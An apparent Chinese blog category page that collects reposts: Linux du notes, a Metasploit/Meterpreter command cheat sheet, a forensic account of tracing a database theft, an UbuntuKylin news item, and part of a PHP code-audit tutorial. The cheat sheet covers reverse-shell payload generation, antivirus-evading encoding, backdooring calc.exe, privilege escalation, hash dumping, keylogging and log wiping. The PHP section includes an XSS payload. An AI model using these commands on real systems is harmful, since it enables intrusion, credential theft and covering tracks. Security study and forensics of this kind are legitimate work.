分类 学习类 下的文章

Linux查看文件夹大小及统计总数等

统计总数大小

du -sh xmldb/

du -sm * | sort -n //统计当前目录大小 并安大小 排序

du -sk * | sort -n

du -sk * | grep guojf //看一个人的大小

du -m | cut -d "/" -f 2 //看第二个/ 字符前的文字

查看此文件夹有多少文件 * 有多少文件

du xmldb/

du xmldb* |wc -l

40752

解释:

wc [-lmw]

参数说明:

-l :多少行

-m:多少字符

-w:多少字

du 命令

用途

概述磁盘使用。

语法
du [ -a | -s ] [ -k ] [ -m ] [ -g ][ -l ] [ -r ] [ -x ] [ -H | -L ][ File ... ]

描述
du命令显示用于文件的块的数量。如果指定的File参数实际上是一个目录,就要报告该目录内的所有文件。如果没有提供 File参数,du命令使用当前目录内的文件。

如果File参数是一个目录,那么报告的块的数量就是分配到目录中文件以及分配到目录自身的块之和。

指定-a标志,报告个体文件中块数量。不管是否使用了-a标志,由File参数指定的个体文件总是要列出。

指定-s标志,报告用于所有指定文件和目录中所有文件的全部块。

块计数包括每个文件的间接块。块计数是通过 512 字节单位计算的,它与系统使用的群集大小无关。指定-k标志,通过 1024 字节单位计算块数。

注:
具有多个链接的文件只为一个条目计数和书写。
由于块计数只基于文件大小,所以在报告的块数中,未分配的块是没有包含进去的。
如果du得不到文件属性,或者无法读取目录,它就报告一个错误,并且会影响命令的退出状态。

标志

-a 为每个指定文件显示磁盘使用情况,或者为目录中每个文件显示各自磁盘使用情况。将该标志与-s标志进行对比。
-g 用 GB 单位计算块数,而不是用缺省的 512 字节单位。对磁盘使用情况的输出值要用浮点数,这是因为如果用字节为单位的话,值会非常大。
-H 如果在命令行指定了符号链接,du 命令将统计链接引用的文件或文件层次结构的大小。
-k 用 1024 字节单位计算块数,而不是用缺省的 512 字节单位。
-l 在文件链接和多链接之间均匀地分配块。根据缺省值,有两个或者更多链接的文件只计数一次。
-L 如果在命令行指定了符号链接或者在文件层次结构的遍历中多次遇到符号链接,则 du 命令应统计链接引用的文件或文件层次结构的大小。
-m 用 MB 单位计算块数,而不是用缺省的 512 字节单位。对磁盘使用情况的输出值要用浮点数,这是因为如果用字节为单位的话,值会非常大。
-r 报告不可访问的文件或者目录名。此为缺省设置。
-s 为所有指定文件显示整个磁盘使用情况,或者为一个目录中的所有文件显示总的磁盘使用情况。将该标志与-a标志进行对比。
-x 在评估文件大小时,只评估那些与File参数指定的文件或者目录驻留在相同设备上的文件。例如,您可以指定一个在多个设备上包含文件的目录。这种情况下,-x标志就为与目录驻留在相同设备的所有文件显示块的大小。

如果指定了全部-k、-m和-g标志,或者是其中任意两个,最后指定的那个起作用。用标志-m和-g输出磁盘使用情况就会近似成最接近的第二位十进制数。

退出状态

此命令返回下列出口值:

0 成功结束。
>0 发生错误。

示例
要概述一个目录树及其每个子树的磁盘使用情况,请输入:

du /home/fran这在/home/fran目录及其每个子目录中显示了磁盘块数。

要通过 1024 字节块概述一个目录树及其每个子树的磁盘使用情况,请输入:
du -k /home/fran这在/home/fran目录及其每个子目录中显示了 1024 字节磁盘块数。
要通过 MB 磁盘块概述一个目录树及其每个子树的磁盘使用情况,请输入:
du -m /home/fran这在/home/fran目录及其每个子目录中显示了 MB 磁盘块数(近似到最接近的第二位十进制数)。
要通过 GB 块概述一个目录树及其每个子树的磁盘使用情况,请输入:
du -g /home/fran这在/home/fran目录及其每个子目录中显示了 GB 磁盘块数(近似到最接近的第二位十进制数)。
要显示每个文件磁盘使用情况,请输入:
du -a /home/fran这显示了包含在每个文件以及目录/home/fran的子目录中的磁盘块数。在目录旁的数字就是该目录树的磁盘使用情况。在常规文件旁的数字就是该文件单独的磁盘使用情况。
要只显示一个目录树的全部磁盘使用情况,请输入:
du -s /home/fran-s标志控制du命令,只显示/home/fran目录和其中包含的文件的磁盘使用情况的总和。通过缺省值,如果du命令无法读取一个文件或者目录,就显示一条错误消息。
除了在 /home/fran 的遍历中找到的常规文件,还要显示所有符号链接引用的文件或文件层次结构的磁盘使用,请输入:
du -L /home/fran要报告符号链接 mylink 引用的文件或文件层次结构的磁盘使用,请输入:
du -H mylink
文件

/usr/bin/du 包含命令du。

metasploit 常用命令备忘

MSFconsole Commands
-------------------------------------
24
show exploits 查看所有exploit
show payloads 查看所有payload
show auxiliary 查看所有auxiliary
search name 搜索exploit 等
info 查看加载模块的信息
use name 加载模块
LHOST 本机IP
RHOST 目标IP
set function 设置选项值
setg function 全局设置
show options 查看选项
show targets 查看exp 可选的平台
set target num 设置exp 作用平台
set payload payload 设置payload
show advanced 查看高级选项
set autorunscript migrate -f 设置自动执行指令
check 测试是否可利用
exploit 执行exp 或模块
exploit -j 作为后台执行
exploit -z 成功后不立即打开session
exploit -e encoder 指定encoder
exploit -h 查看帮助信息
sessions -l -v 列出可用sessions 详细信息
sessions -s script 在指定session 执行脚本
sessions -K 结束session
sessions -c cmd 执行指定命令
sessions -u sessionID 升级shell
db_create name 创建数据库
db_connect name 连接数据库
db_nmap nmap 扫描并导入结果
db_autopwn -h 查看autopwn 帮助
db_autopwn -p -r -e 基于端口,反弹shell
db_destroy 删除数据库
---------------------------------------------------------------------------------------------
Meterpreter Commands
----------------------------------------------------------------
help 查看帮助
run scriptname 运行脚本
sysinfo 系统基本信息
ls 列目录
use priv 运行提权组件
ps 列进程
migrate PID PID 迁移
use incognito token 窃取
25
list_tokens -u 查看可用用户token
list_tokens -g 查看可用组token
impersonate_token DOMAIN_NAMEUSERNAME 模仿token
steal_token PID 窃取PID 所属token 并模仿
drop_token 停止模仿token
getsystem 获取SYSTEM 权限
shell 运行shell
execute -f cmd.exe -i 交互式运行cmd
execute -f cmd.exe -i -t 使用可用token 运行
execute -f cmd.exe -i -H -t 同上,同时隐藏进程
rev2self 返回至初始用户
reg command 修改注册表
setkesktop number 切换至另一已登录用户屏幕
screenshot 截屏
upload file 上传文件
download file 下载文件
keyscan_start 开始截取击键记录
keyscan_stop 停止截取击键记录
getprivs 尽可能提升权限
uictl enable keyboard/mouse 获取键盘或鼠标的控制权
background 将当前meterpreter shell 转入后台
hashdump 导出所有用户hash
use sniffer 加载嗅探模块
sniffer_interfaces 查看可用网卡接口
sniffer_dump interfaceID pcapname 开始嗅探
sniffer_start interfaceID packet-buffer 指定buffer 范围嗅探
sniffer_stats interfaceID 抓取统计信息
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 添加用户
add_group_user "Domain Admins" username -h ip 添加用户至管理组
clearev 清空日志
timestomp 改变文件属性如创建时间等
reboot 重启
---------------------------------------------------------------------------------------------------------
MSFpayload Commands
---------------------------------------------------------------
msfpayload -h 查看帮助
msfpayload windows/adduser user=123 pass=123 R > payload.raw 生成添加用户的 shellcode
msfpayload windows/meterpreter/bind_tcp 0
查看指定payload 可用选项
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X >
payload.exe
生成payload.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R >
payload.raw
26
保存为RAW 格式,可用于msfencode
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
保存为C 格式
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
保存为java 格式
-------------------------------------------------------------------------------------------------------
MSFencode Commands
-----------------------------------------------------------
msfencode -h 查看帮助
msfencode -l 查看可用encoder
msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
以指定格式显示编码后的buffer
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
生成编码后的exe
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c
5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe
多编码器结合,多次编码
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
生成纯字符格式C 类型shellcode
----------------------------------------------------------------------------------------------------------
MSFcli Commands
-----------------------------------------------------------
msfcli |grep exploit 只显示exploit
msfcli | grep exploit/windows 只显示windows exploit
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.26 E
针对指定IP 加载指定exp 并设定payload
------------------------------------------------------------------------------------------------------------
MSF,Ninja,Fu
---------------------------------------------------------------------
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
使用calc.exe 作为模板,生成经过编码的后门
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc.exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
与上面差不多,只是执行的时候不依赖于生成的可执行文件,且不会有任何提示信息
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler
PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
生成编码后的payload 并开始监听本机端口
-------------------------------------------------------------------------------------------------------
MSFvenom
-------------------------------------------------------------
msfvenom --payload 自动生成payload
27
-------------------------------------------------------------------------------------------------------------
Meterpreter Post Exploitation Commands
---------------------------------------------------------------
提权一般步骤
meterpreter> use priv
meterpreter> getsystem
meterpreter> ps
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group "Domain Admins" msf /add /DOMAIN
获取hash 一般步骤
meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump
如果是在win2008 系统上:
meterpreter> run migrate
meterpreter> run killav
meterpreter> ps
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop
使用Incognito 提权
meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITYAdministrator
查看保护机制并禁用之
meterpreter> run getcountermeasure
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
检查是否是虚拟机
meterpreter> run checkvm
转入命令行
meterpreter> shell
28
远程VNC 控制
meterpreter> run vnc
转入后台
meterpreter> background
Bypass UAC
meterpreter> run post/windows/escalate/bypassuac
OS X 系统上dump hash
meterpreter> run post/osx/gather/hashdump
Linux 系统上dump hash
meterpreter> run post/linux/gather/hashdump

[法客二周年]看我如何取证抓出黑阔!

大家都在写日站过程,我就放出一篇抓日站的过程,哈。 

开个玩笑,实例取证过程,大家都懂的,所以严格打码,见谅~~

2099年13月33日某市某局考试报名服务器遭受了两次攻击,都是被直接下载了数据库。
下载数据库的行为是通过后台合法下载,因此,在之前的证据调查中被忽略了。

取证分析:起初,我们通过安装在考试网服务器上抓包工具抓到的数据包,导入科莱数据分析软件,转化成明文显示从而进行下一步分析,如图所示
图1
(科莱Colasoft Capsa 7 版本:7.3.1 Build 2436)
<ignore_js_op>QQ截图20131022191309.png
再以Excel格式导出,以IP排序,搜索大量连续访问的IP,搜索排出敏感url,查询是否有木马后门,或者上传操作页面等。如图2
图2
“图片漏点-已屏蔽”
<ignore_js_op>2.png
所有抓包日志分析下来,无任何可疑后门url,发现大量自动化扫描工具的扫描痕迹,均无入侵成功痕迹。

我们尝试寻找网站程序漏洞,没有注入漏洞,发现一处问题,用户可查询其他用户资料,但前提需要知道ID生成规则,如:
http://x.x.x.x/08104/ks_left.act ... f04013bac0f9b1c01d6
于是我们分析查询所有数据包日志,发现如下几个IP的ID查询登录次数与时间很可疑,
<ignore_js_op>3.png
<ignore_js_op>4.png
<ignore_js_op>5.png
221.136.152.195和 202.105.247.6这两个IP是浙江宁波联通的IP,一直有操作,以上是登录查询记录。
经分析只有两种可能:
1.他利用tables.id轮循出其他考生信息
2.不知道他怎么获得其他考生的登录密码,他反复登录
一个IP 多次登录本身就有异常,怀疑是XX考试一条龙服务公司,但一般做这行的公司基本都是本地,
宁波可能性不大,我们和人事局沟通分析他们怀疑是代考团队。
这算我们意外发现的一个漏洞,经过调查,这些线索无法定性,不确定算不算攻击。

我们怀疑入侵者很可能合法通过后台直接登录直接拿走数据,或者有服务器权限,通过和某某局机房负责人协商
,我们登录服务器进行网站程序排查,未发现任何后门木马,并从网站程序了解到数据库使用access数据库,
数据库文件名为*.mdb,下载页面downloadGJ.action
我们通过关键词mdb以及download进行url排查,发现下载痕迹。
数据包为:
<ignore_js_op>6.png
两次记录分别是:

2013/1/29 8:50        2013/1/29 8:50        218.76.159.133        HTTP        GET http://x.x.x.x/06109/downloadGJ.action(湖南省郴州市 电信)

2013/1/29 8:35        2013/1/29 8:35        61.181.22.157        HTTP        GET http://x.x.x.x/06109/downloadGJ.action(天津市 联通ADSL)
2013/01/28 08:44:59   61.152.108.187    HTTP      POST http://x.x.x.x/06109/exportdataGJ.action

我们使用数据分析软件打开2013/1/29/8:35 2013/1/29/8:44的数据包
找到downloadGj.action,如图6所示
图6:
<ignore_js_op>7.png
定位到此IP,点数据包选项,搜索定位到downloadGj.action,如图7所示
图7:
<ignore_js_op>8.png
8中
分析:在图8中,发现了此IP直接进行了TCP三次握手,然后径直访问了数据库后台下载页面,执行了下载操作。如图8所示
图8
<ignore_js_op>10.png
在图9中,是本次连接的二进制解码信息。可看到是执行了数据库下载。
<ignore_js_op>11.png
图10
在图三中,是后续的下载二进制数据的解码信息,可看到就是某某局考试报名数据库的表结构,后面分了几十个包下载,共计19M。
<ignore_js_op>12.png
图10

(注:IP地址是通过互联网查到的物理位置,未必准确,希望公安进一步核实)

经过进一步调查,发现218.76.159.133和61.181.22.157都是HTTP代理服务器。

为了穿透代理追求真实IP,我方对数据包的包头进行了二进制解码,定位到downloadGJ.action,证据图11
<ignore_js_op>13.png
从上图得知HTTP包头中追到了代理源IP地址,即来自于218.76.159.133攻击行为的源IP为221.223.70.137。
<ignore_js_op>1~.png
图11
灰色部分未记录了代理源IP的HTTP包头数据,翻译过来就是:X-Forwarded-For:
221.223.70.137

证据图12中二进制编码解析得到显示数据库的字段
<ignore_js_op>2~.png
如下证据图,通过二进制解码,可看到下载内容,
<ignore_js_op>3~.png
<ignore_js_op>4~.png
我们又用相同的方法解析了来自61.152.108.187的数据包,根据解析的数据,这次也执行了下载,真实IP也是221.223.70.137

这个真实IP每天早晨8点40左右开始下载数据。

经过三次下载行为判断,应该是同一人所为:

我们在二进制包里解析出了访问者的计算机配置:
CPU:AMD64
浏览器:IE9
操作系统:Windows 7 x64

进入途径:
我们查询http://x.x.x.x/06109/exportdataGJ.action定位到该数据包,证据图12
图12
<ignore_js_op>!!!.png
黑客直接使用admin的密码登陆,如图13
<ignore_js_op>@!.png
图13

分析建议:
建议联系当地某部门锁定这个IP,如果是家里的ADSL,可直接定位,如果是公司的IP,则可联系公司调取上网行为管理日志。
如没有日志,可通过上面给出的机器配置信息到内部找到配置类似的机器,有可能这个人有自己的笔记本电脑。

找到电脑,注意看还有没有IE访问记录,历史记录是可以保存的,如果对方删除了,历史记录还可以通过Windows隐藏位置调出。

密码泄露途径分析:
1.要么某某局自己人泄露给别人
2.要么黑客自己注入爆出密码
3.要么开发的人设置了一个隐蔽的模块,专门用来偷密码
第一种可能性我这里保留意见,个人认为不可能;
第二种可能性我认为概率不高,我们测试过,并且反编译过程中也观察过,没发现明显的注入问题,这个代码是在一个开源的中间件平台上改的(我们怀疑,看源码的时候感觉有些像,但是不敢完全肯定,他们改动很多),那么如果这上面出问题,也难说;
第三种可能性:如果设置了这个机关,那应该就是在中间件底层设置的,应用层我们都反编译了,没发现这个问题。中间件底层的话,我们如果强行进行反编译,工作量非常大,暂时放弃反编译的工作。

差不多了,以上是一次真实的取证过程,放出来给法客的基友look下,希望大家不要转载到外面!,谢谢~

 

 

本文转自法客

 

中国版 UbuntuKylin 13.10 麒麟中文版操作系统发布下载 (Ubuntu天朝定制版)

知名的 Linux 操作系统发行版 Ubuntu 于今天发布了中国定制版的操作系统 —— UbuntuKylin (麒麟)。这是Canonical公司与我国工信部软件与集成电路促进中心、国防科技大学组建的CCN开源创新联合实验室开发的。

UbuntuKylin 在 Ubuntu 原版的基础上进行了大量的本地化工作 (如内置天气、农历日历、音乐搜索等) 而来的衍生版,也是 Ubuntu 社区官方认可的操作系统,CCN是完全按照开源的模式来打造的这款产品。日后 Ubuntu 麒麟将会加入更多的中国特色功能,如中文输入法、地图、集成WPS、网银支付等应用……

UbuntuKylin 操作系统简介:

UbuntuKylin 麒麟 是基于原版的 Ubuntu 桌面版而来,是官方认可的衍生版本,所以在 Ubuntu 新版本中所增加的新特性麒麟同样会拥有。

UbuntuKylin 麒麟操作系统

根据官方的消息称,UbuntuKylin 将会在更多的地方做出专为国人使用的定制功能,譬如中文输入法、集成WPS 办公套件、网银支付等。此外,UbuntuKylin 也将可能会与戴尔、惠普等公司合作推出内置该系统的产品。未来还将会将其拓展到其他的平台,包括云端、服务器,平板和智能手机等。

UbuntuKylin 麒麟操作系统

由于 UbuntuKylin 被打上了“国家”的标签,很多人表示这项目有X经费之嫌等等,这点不在本站的讨论范围,但不管怎样,凡事都有多面性,麒麟的出现肯定也会对国内 Linux (Ubuntu) 的普及带来积极的作用的。希望日后这个CCN联盟真能做出更多适合国人使用的特色功能吧,如果你现在已经对其有兴趣,那么也可以下载回去试试看。

UbuntuKylin 麒麟操作系统

UbuntuKylin 麒麟操作系统

UbuntuKylin 麒麟操作系统

PS:首次试用的同学可以先用 VMWare、VirtualBox 等虚拟机软件进行测试,减少安装多系统或重装系统带来的麻烦。当然,如果你打算长期使用的话,还是建议原生安装,这样才会有更高性能和更流畅的使用体验。

相关文件下载地址:

官方网站:访问
软件性质:免费

[转]高级PHP应用程序漏洞审核技术

[目录]

1. 前言
2. 传统的代码审计技术
3. PHP版本与应用代码审计
4. 其他的因素与应用代码审计
5. 扩展我们的字典
5.1 变量本身的key
5.2 变量覆盖
5.2.1 遍历初始化变量
5.2.2 parse_str()变量覆盖漏洞
5.2.3 import_request_variables()变量覆盖漏洞
5.2.4 PHP5 Globals
5.3 magic_quotes_gpc与代码安全
5.3.1 什么是magic_quotes_gpc
5.3.2 哪些地方没有魔术引号的保护
5.3.3 变量的编码与解码
5.3.4 二次攻击
5.3.5 魔术引号带来的新的安全问题
5.3.6 变量key与魔术引号
5.4 代码注射
5.4.1 PHP中可能导致代码注射的函数
5.4.2 变量函数与双引号
5.5 PHP自身函数漏洞及缺陷
5.5.1 PHP函数的溢出漏洞
5.5.2 PHP函数的其他漏洞
5.5.3 session_destroy()删除文件漏洞
5.5.4 随机函数
5.6 特殊字符
5.6.1 截断
5.6.1.1 include截断
5.6.1.2 数据截断
5.6.1.3 文件操作里的特殊字符
6. 怎么进一步寻找新的字典
7. DEMO
8. 后话
9. 附录

一、前言

PHP是一种被广泛使用的脚本语言,尤其适合于web开发。具有跨平台,容易学习,功能强大等特点,据统计全世界有超过34%的网站有php的应用,包括Yahoo、sina、163、sohu等大型门户网站。而且很多具名的web应用系统(包括bbs,blog,wiki,cms等等)都是使用php开发的,Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。随着web安全的热点升级,php应用程序的代码安全问题也逐步兴盛起来,越来越多的安全人员投入到这个领域,越来越多的应用程序代码漏洞被披露。针对这样一个状况,很多应用程序的官方都成立了安全部门,或者雇佣安全人员进行代码审计,因此出现了很多自动化商业化的代码审计工具。也就是这样的形势导致了一个局面:大公司的产品安全系数大大的提高,那些很明显的漏洞基本灭绝了,那些大家都知道的审计技术都无用武之地了。我们面对很多工具以及大牛扫描过n遍的代码,有很多的安全人员有点悲观,而有的官方安全人员也非常的放心自己的代码,但是不要忘记了“没有绝对的安全”,我们应该去寻找新的途径挖掘新的漏洞。本文就给介绍了一些非传统的技术经验和大家分享。

另外在这里特别说明一下本文里面很多漏洞都是来源于网络上牛人和朋友们的分享,在这里需要感谢他们,:)

二、传统的代码审计技术

WEB应用程序漏洞查找基本上是围绕两个元素展开:变量与函数。也就是说一漏洞的利用必须把你提交的恶意代码通过变量经过n次变量转换传递,最终传递给目标函数执行,还记得MS那句经典的名言吗?“一切输入都是有害的”。这句话只强调了变量输入,很多程序员把“输入”理解为只是gpc[$_GET,$_POST,$_COOKIE],但是变量在传递过程产生了n多的变化。导致很多过滤只是个“纸老虎”!我们换句话来描叙下代码安全:“一切进入函数的变量是有害的”。

PHP代码审计技术用的最多也是目前的主力方法:静态分析,主要也是通过查找容易导致安全漏洞的危险函数,常用的如grep,findstr等搜索工具,很多自动化工具也是使用正则来搜索这些函数。下面列举一些常用的函数,也就是下文说的字典(暂略)。但是目前基本已有的字典很难找到漏洞,所以我们需要扩展我们的字典,这些字典也是本文主要探讨的。

其他的方法有:通过修改PHP源代码来分析变量流程,或者hook危险的函数来实现对应用程序代码的审核,但是这些也依靠了我们上面提到的字典。

三、PHP版本与应用代码审计

到目前为止,PHP主要有3个版本:php4、php5、php6,使用比例大致如下:

php4 68% 2000-2007,No security fixes after 2008/08,最终版本是php4.4.9

php5 32% 2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)

php6
目前还在测试阶段,变化很多做了大量的修改,取消了很多安全选项如magic_quotes_gpc。(这个不是今天讨论的范围)

由于php缺少自动升级的机制,导致目前PHP版本并存,也导致很多存在漏洞没有被修补。这些有漏洞的函数也是我们进行WEB应用程序代码审计的重点对象,也是我们字典重要来源。

四、其他的因素与应用代码审计

很多代码审计者拿到代码就看,他们忽视了“安全是一个整体”,代码安全很多的其他因素有关系,比如上面我们谈到的PHP版本的问题,比较重要的还有操作系统类型(主要是两大阵营win/*nix),WEB服务端软件(主要是iis/apache两大类型)等因素。这是由于不同的系统不同的WEB SERVER有着不同的安全特点或特性,下文有些部分会涉及。

所以我们在做某个公司WEB应用代码审计时,应该了解他们使用的系统,WEB服务端软件,PHP版本等信息。

五、扩展我们的字典

下面将详细介绍一些非传统PHP应用代码审计一些漏洞类型和利用技巧。

5.1 变量本身的key

说到变量的提交很多人只是看到了GET/POST/COOKIE等提交的变量的值,但是忘记了有的程序把变量本身的key也当变量提取给函数处理。

–code————————————————————————-

1 <?php
2 //key.php?aaaaaaa=1&bbb=2
3 //print_R($_GET);
4 foreach ($_GET AS $key => $value)
5 {
6 print $key." ";
7 }
8 ?>

——————————————————————————-

上面的代码就提取了变量本身的key显示出来,单纯对于上面的代码,如果我们提交URL:

–code————————————————————————-

1 key.php?<script>alert(1);</script>=1&bbb=2

——————————————————————————-

那么就导致一个xss的漏洞,扩展一下如果这个key提交给include()等函数或者sql查询呢?:)

+++++++++++++++++++++++++
漏洞审计策略
————————-
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++

5.2 变量覆盖(variable-overwrite)

很多的漏洞查找者都知道extract()这个函数在指定参数为EXTR_OVERWRITE或者没有指定函数可以导致变量覆盖,但是还有很多其他情况导致变量覆盖的如:

5.2.1 遍历初始化变量

请看如下代码:

–code————————————————————————-

1 <?php
2 //var.php?a=fuck
3 $a=hi;
4 foreach($_GET as $key => $value) {
5 $$key = $value;
6 }
7 print $a;
8 ?>

——————————————————————————-

很多的WEB应用都使用上面的方式(注意循环不一定是foreach),如Discuz!4.1的WAP部分
的代码:

–code————————————————————————-

1 $chs = ;
2 if($_POST && $charset != utf-8) {
3 $chs = new Chinese(UTF-8, $charset);
4 foreach($_POST as $key => $value) {
5 $$key = $chs->Convert($value);
6 }
7 unset($chs);

——————————————————————————-

+++++++++++++++++++++++++
漏洞审计策略
————————-
PHP版本要求:无
系统要求:无
审计策略:通读代码
+++++++++++++++++++++++++

5.2.2 parse_str()变量覆盖漏洞(CVE-2007-3205)、mb_parse_str()

–code————

文章剩下内容请看:http://code.google.com/p/pasc2at/wiki/SimplifiedChinese